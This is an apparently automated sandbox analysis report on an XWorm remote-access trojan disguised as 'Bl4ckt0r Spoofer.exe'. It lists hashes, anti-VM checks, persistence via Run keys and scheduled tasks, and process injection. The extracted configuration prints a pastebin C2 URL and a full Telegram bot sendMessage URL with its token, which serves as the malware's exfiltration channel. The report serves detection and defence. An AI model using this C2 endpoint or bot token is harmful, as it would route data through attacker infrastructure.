Analysis
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max time kernel
60s -
max time network
60s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system -
submitted
07/03/2025, 04:08
Behavioral task
behavioral1
Sample
Bl4ckt0r Spoofer.exe
Resource
win10v2004-20250217-en
General
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Target
Bl4ckt0r Spoofer.exe
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Size
4.5MB
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MD5
3e3c214efbec069174605c064553a06f
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SHA1
b649ff5a76ce6271e7c0590a9896e0754b5e08ce
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SHA256
22c3413fc8c1f3d0893b3f14b231f934e92ac9008611a673e80a951af4cf6da4
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SHA512
b22d8f2630bbd2002f715ccd460e3b25c7ce972de97b7c611786ca575db10aa95072dc551b6b5dc0c24a61b919f2912d6e96240160b5b2c5900cedd55512a744
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SSDEEP
98304:HZK5TELYAim4gThP3Ja8MBgeq5oYyEzqNIqH17yZ0NrnjN8EHDzzs33nlbv6:HZK5gLYAiclrl5jTeDV7y4nR8iXsnl
Malware Config
Extracted
xworm
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Install_directory
%AppData%
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install_file
x69XClient.exe
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pastebin_url
https://pastebin.com/raw/7KHrn9yR
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telegram
https://api.telegram.org/bot7600824685:AAHOEzTxziP7s4Wf095smbzn6FrkvRgCwVk/sendMessage?chat_id=7600824685
Signatures
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Detect Xworm Payload 2 IoCs
resource yara_rule behavioral1/files/0x0009000000023d3b-77.dat family_xworm behavioral1/memory/1840-89-0x0000000000B40000-0x0000000000B56000-memory.dmp family_xworm -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 3928 created 612 3928 powershell.EXE 5 -
Xworm family
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Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Bl4ckt0r Spoofer.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ x69M5tLLoveYOU (1) (1).exe -
Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe -
Checks BIOS information in registry 2 TTPs 6 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Bl4ckt0r Spoofer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Bl4ckt0r Spoofer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion x69M5tLLoveYOU (1) (1).exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion x69M5tLLoveYOU (1) (1).exe -
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Control Panel\International\Geo\Nation Bl4ckt0r Spoofer.exe Key value queried \REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Control Panel\International\Geo\Nation x69M5tLLoveYOU (1) (1).exe Key value queried \REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Control Panel\International\Geo\Nation x69s.exe -
Drops startup file 2 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x69XClient.lnk x69s.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x69XClient.lnk x69s.exe -
Executes dropped EXE 3 IoCs
pid Process 3080 x69M5tLLoveYOU (1) (1).exe 1756 Install.exe 1840 x69s.exe -
resource yara_rule behavioral1/memory/1180-0-0x0000000000400000-0x0000000000C31000-memory.dmp themida behavioral1/memory/1180-2-0x0000000000400000-0x0000000000C31000-memory.dmp themida behavioral1/files/0x0007000000023d30-10.dat themida behavioral1/memory/1180-16-0x0000000000400000-0x0000000000C31000-memory.dmp themida behavioral1/memory/3080-48-0x0000000000400000-0x0000000000A4A000-memory.dmp themida behavioral1/memory/3080-88-0x0000000000400000-0x0000000000A4A000-memory.dmp themida -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\x69XClient = "C:\\Users\\Admin\\AppData\\Roaming\\x69XClient.exe" x69s.exe -
Checks whether UAC is enabled 1 TTPs 2 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA x69M5tLLoveYOU (1) (1).exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Bl4ckt0r Spoofer.exe -
pid Process 3928 powershell.EXE -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 18 IoCs
flow ioc 32 pastebin.com 41 pastebin.com 42 pastebin.com 60 pastebin.com 62 pastebin.com 63 pastebin.com 31 pastebin.com 56 pastebin.com 64 pastebin.com 36 pastebin.com 39 pastebin.com 40 pastebin.com 57 pastebin.com 65 pastebin.com 43 pastebin.com 58 pastebin.com 59 pastebin.com 61 pastebin.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Tasks\x69XClient svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 1180 Bl4ckt0r Spoofer.exe 3080 x69M5tLLoveYOU (1) (1).exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3928 set thread context of 4384 3928 powershell.EXE 101 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language x69M5tLLoveYOU (1) (1).exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Install.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Bl4ckt0r Spoofer.exe -
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Modifies data under HKEY_USERS 49 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\001800127D1BBF2C = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb0100000055030125c0dfce41a67d046ea601f38d00000000020000000000106600000001000020000000884fbd00034a94d2afdb38639ac77049b93fd5ab94ea1500abefeeedca51f090000000000e800000000200002000000069a8210e32a53f30143d291612b3a74858ccee8c83b5c814523f4223b6b86581800000005d3558cf2d0c31c8d0d7c5eeb1c5a55be1a1d111b878315bea458155faeba20fa685be6759924bb5d9e1bc00a01baa6979c0c523d16b6be77df7648ea3d81615c0862aef4679e99b2b7e3d732b0196a277941cbf844172a7d05ab700142e53f5c60bc3b9889248bc1d462d5c294574e78b95aeb1681d4e38c270269e04371b6840000000f0f65e377cc829fbda1ed1e9fe7b5b50c6e05a2cef393c76532ff689a0e1ceceb45134938e53708e8d5778a695fa8452241609c26c6778cfe693a94c529cdfbc mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "001800127D1BBF2C" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "001800127D1BBF2C" mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1" mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414} mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb0100000055030125c0dfce41a67d046ea601f38d00000000020000000000106600000001000020000000cf6516d699ed483dc2c16fe641c00549300d25e58e0980dbccb7982f35a0be74000000000e80000000020000200000007648e356ed0cdce2df7201810d5a30ed5632e3ba75742292e7d3fce60155ae8810060000383bd74ed0a8e2de438e8ef94b1c64852f7dc1bbcd08be39152f0170998367f9761d5b33ef2c1b84969c92a60b9ec7bfc702c9d7919d806994f8116fd88f05a2a094b94e88c83ed951c91019ee45adef3ee5aabcfc753ee74a3937df1682d4df08a9642db64fa1565edfe0d4e8b4f79f98eaa6c22ff792eaf68935d1faeebfc6b8c62812cd0e408324f7326d70865bd91c68789745e329116eae7f5966fabfc9dd8a7875f11f2ec8a280565dae68c7149339968075cbf93f064312a746caebb57df87751881f5a3e13e0be90289af04fc8744c02c33ba015fb425eedaf733f175e5d8bc0fac264b8d735272475bcd4bec50509c2162935fa8e2d267c544146680903dc1465392e4b5fc536b7cb5585bf2f17b0c2a4e15eeb615356be7a1b3c955bf38721df0e78301267b9980d22bb2df711908be06a0579c68d984a5e1f78cc458a62d0b611d079c28fe43967fd3b8cd14e4491ad7ff954021379bf94236a2a3766827289c0f3d0eba847dc0c4d01d3a012fd4362dc1c22fb8b78cbe3173bc0f106cdbec411beff2a5396e52658d226cec70abaeb708a36ceee21a995e9da775d1f91b7cbb62b569b8516c6f5ec21c26ae3fa13ceedf045a1274da6307aa7c6aeaef91b706bf763e82e2f6a0f8f6e6472e450ac43130a52111227574b0096e2ddf2a9141ce7a7da8ea9612ea30e03b20afb3003e59230e2e9b5fe8d8100079d13167ce885680be42f5f1a1dc737df04f8b450982825329cad3ed1b76d8c4a57be0780550bcfb79f40e50a20b2781eab444de93e8774b718d34b7b74d543ad08be71e0d9cd4e9cfe94f86a201ab0361d278e2f9d3558fdeb74df731445cb1160383cab88581d09ea854f3b4393adbd5784a26f4af9785e3d3c4dad60c37a0cf9284e40c15d932a39c3948b916574adb650a3ee8fd736e7c8674334d5c6d075f344d0dcdefa2b0d7883587e13a4f0865038807c9d3f0b72c15bef6487d5c7e4aa268ed5a62b6035a5e19e8d453035dbd6255f47528f6b6885e11fe850eddaf46d47dddfc91ad6ca2d65e2583084287125cd293ba2433216d07973310652053d49d6e80a12ab61ea510a12959b5a7ce34c601c5ccfece96aa4fc06def6811ca8169e735c92491a4110a1e3e354f55a249fdc029cfbba1061e9c80e9ab1d005cd579633129e96231c80a018ca6b0c643c882239ff9aa8a0b3f1f62dbf380916236d1e047ae99b387f0b858aaad554966d1646069849ea6d565b727f847447f91fbb26c57f4e6a9e28ceb1bccaf25de872696483f40c59b2776662a8a15ade5db4cb13c933634edecb7841afb7d712f311a52208be7c251006e990711306d94ddd0b5618ba6ad9ca10dda072a8b4d3532563eda1c338674768c51a66479389dcdd69e62b25f7712ef37b483e3f45ab8435413601792a2bbf118d1a821eb76e7ef4e6fc259520f617d2d37f596a8ac4194a2683569bc05dcf90250200db768a40cf88f889e2fe2d4f84ea5dcd89fafec20cdd2c08de20c710f140fb2673a740fa90191bcea48fcd583f15b5b48f7db0b8c9fc2d77fa67599df45656466df706fcc4d04b413de04935fbfb66b9a9ff05817f5d717db81bbc2bec1d0f41b5bbcc9b41ec189692a586a4cfd8a30a998630a8500640e5fc2d34ed4247742d2a70006416938c48f549def10bb1b8cd5da765795f9214ab540c2bbbe2d33afcbf0590cb7a70e3aebce6c7593e7254eab486d53af2f47c4713df73c60d7d1b18a13473b3d5058c59b75b02ffb5a8b04eeaff879b613b67aac4786b91336ea6484d9aec67047d9bc032bb9665e2cf33925b0a392789501e9bef984dcf0c2cfae6f3ddde32078ed21da4816621453660062487355bfc4c0059d8ed984cbe2959b6bc5dabc25216681fadc86061b134357ea8b0ee21db5d6c3c21722b6db83df8acb72cdcabe16b1c65527b773f070e679a666271622e1b32137df887d769a340716ac934f7b98c7ffab6c68ac1d8da701336f1c054dee4e59d281eee05d0a582b1505ded37a0b029ddd65496863a7b66bb27781f6a49b03bbd3de34c66aaee1fdbffc2a34e192dd1b588501f8cb442cae3b02da0d1458373df16f39c8c4e9dde5cb1c3b8ec3df424b6f0903e52ebfc1c6b7986ec18c6fad2cf4f768dbc7472e76710b20b489e9651ac920f8c8604197b0108a519533b0640000000669a89825c00d0ce2e1e29f4ee55196411080ccfd61fe76856ec564d7fafd2283960ab3d1841b1453638550cef7f7424974868289867382aca8e80d933c2f87d mousocoreworker.exe -
Modifies registry class 3 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\WasEverActivated = "1" sihost.exe Key created \REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 468 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1180 Bl4ckt0r Spoofer.exe 1180 Bl4ckt0r Spoofer.exe 3080 x69M5tLLoveYOU (1) (1).exe 3080 x69M5tLLoveYOU (1) (1).exe 3612 powershell.exe 3612 powershell.exe 3928 powershell.EXE 3928 powershell.EXE 3928 powershell.EXE 3928 powershell.EXE 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe 4384 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3612 powershell.exe Token: SeDebugPrivilege 1840 x69s.exe Token: SeDebugPrivilege 3928 powershell.EXE Token: SeDebugPrivilege 3928 powershell.EXE Token: SeDebugPrivilege 4384 dllhost.exe Token: SeShutdownPrivilege 3500 Explorer.EXE Token: SeCreatePagefilePrivilege 3500 Explorer.EXE Token: SeAuditPrivilege 2792 svchost.exe Token: SeShutdownPrivilege 4976 svchost.exe Token: SeCreatePagefilePrivilege 4976 svchost.exe Token: SeShutdownPrivilege 4680 mousocoreworker.exe Token: SeCreatePagefilePrivilege 4680 mousocoreworker.exe Token: SeShutdownPrivilege 4680 mousocoreworker.exe Token: SeCreatePagefilePrivilege 4680 mousocoreworker.exe Token: SeShutdownPrivilege 4680 mousocoreworker.exe Token: SeCreatePagefilePrivilege 4680 mousocoreworker.exe Token: SeShutdownPrivilege 4036 RuntimeBroker.exe Token: SeShutdownPrivilege 4680 mousocoreworker.exe Token: SeCreatePagefilePrivilege 4680 mousocoreworker.exe Token: SeShutdownPrivilege 4036 RuntimeBroker.exe Token: SeShutdownPrivilege 4680 mousocoreworker.exe Token: SeCreatePagefilePrivilege 4680 mousocoreworker.exe Token: SeAssignPrimaryTokenPrivilege 2240 svchost.exe Token: SeIncreaseQuotaPrivilege 2240 svchost.exe Token: SeSecurityPrivilege 2240 svchost.exe Token: SeTakeOwnershipPrivilege 2240 svchost.exe Token: SeLoadDriverPrivilege 2240 svchost.exe Token: SeSystemtimePrivilege 2240 svchost.exe Token: SeBackupPrivilege 2240 svchost.exe Token: SeRestorePrivilege 2240 svchost.exe Token: SeShutdownPrivilege 2240 svchost.exe Token: SeSystemEnvironmentPrivilege 2240 svchost.exe Token: SeUndockPrivilege 2240 svchost.exe Token: SeManageVolumePrivilege 2240 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2240 svchost.exe Token: SeIncreaseQuotaPrivilege 2240 svchost.exe Token: SeSecurityPrivilege 2240 svchost.exe Token: SeTakeOwnershipPrivilege 2240 svchost.exe Token: SeLoadDriverPrivilege 2240 svchost.exe Token: SeSystemtimePrivilege 2240 svchost.exe Token: SeBackupPrivilege 2240 svchost.exe Token: SeRestorePrivilege 2240 svchost.exe Token: SeShutdownPrivilege 2240 svchost.exe Token: SeSystemEnvironmentPrivilege 2240 svchost.exe Token: SeUndockPrivilege 2240 svchost.exe Token: SeManageVolumePrivilege 2240 svchost.exe Token: SeAuditPrivilege 2792 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2240 svchost.exe Token: SeIncreaseQuotaPrivilege 2240 svchost.exe Token: SeSecurityPrivilege 2240 svchost.exe Token: SeTakeOwnershipPrivilege 2240 svchost.exe Token: SeLoadDriverPrivilege 2240 svchost.exe Token: SeSystemtimePrivilege 2240 svchost.exe Token: SeBackupPrivilege 2240 svchost.exe Token: SeRestorePrivilege 2240 svchost.exe Token: SeShutdownPrivilege 2240 svchost.exe Token: SeSystemEnvironmentPrivilege 2240 svchost.exe Token: SeUndockPrivilege 2240 svchost.exe Token: SeManageVolumePrivilege 2240 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2240 svchost.exe Token: SeIncreaseQuotaPrivilege 2240 svchost.exe Token: SeSecurityPrivilege 2240 svchost.exe Token: SeTakeOwnershipPrivilege 2240 svchost.exe Token: SeLoadDriverPrivilege 2240 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 548 Conhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
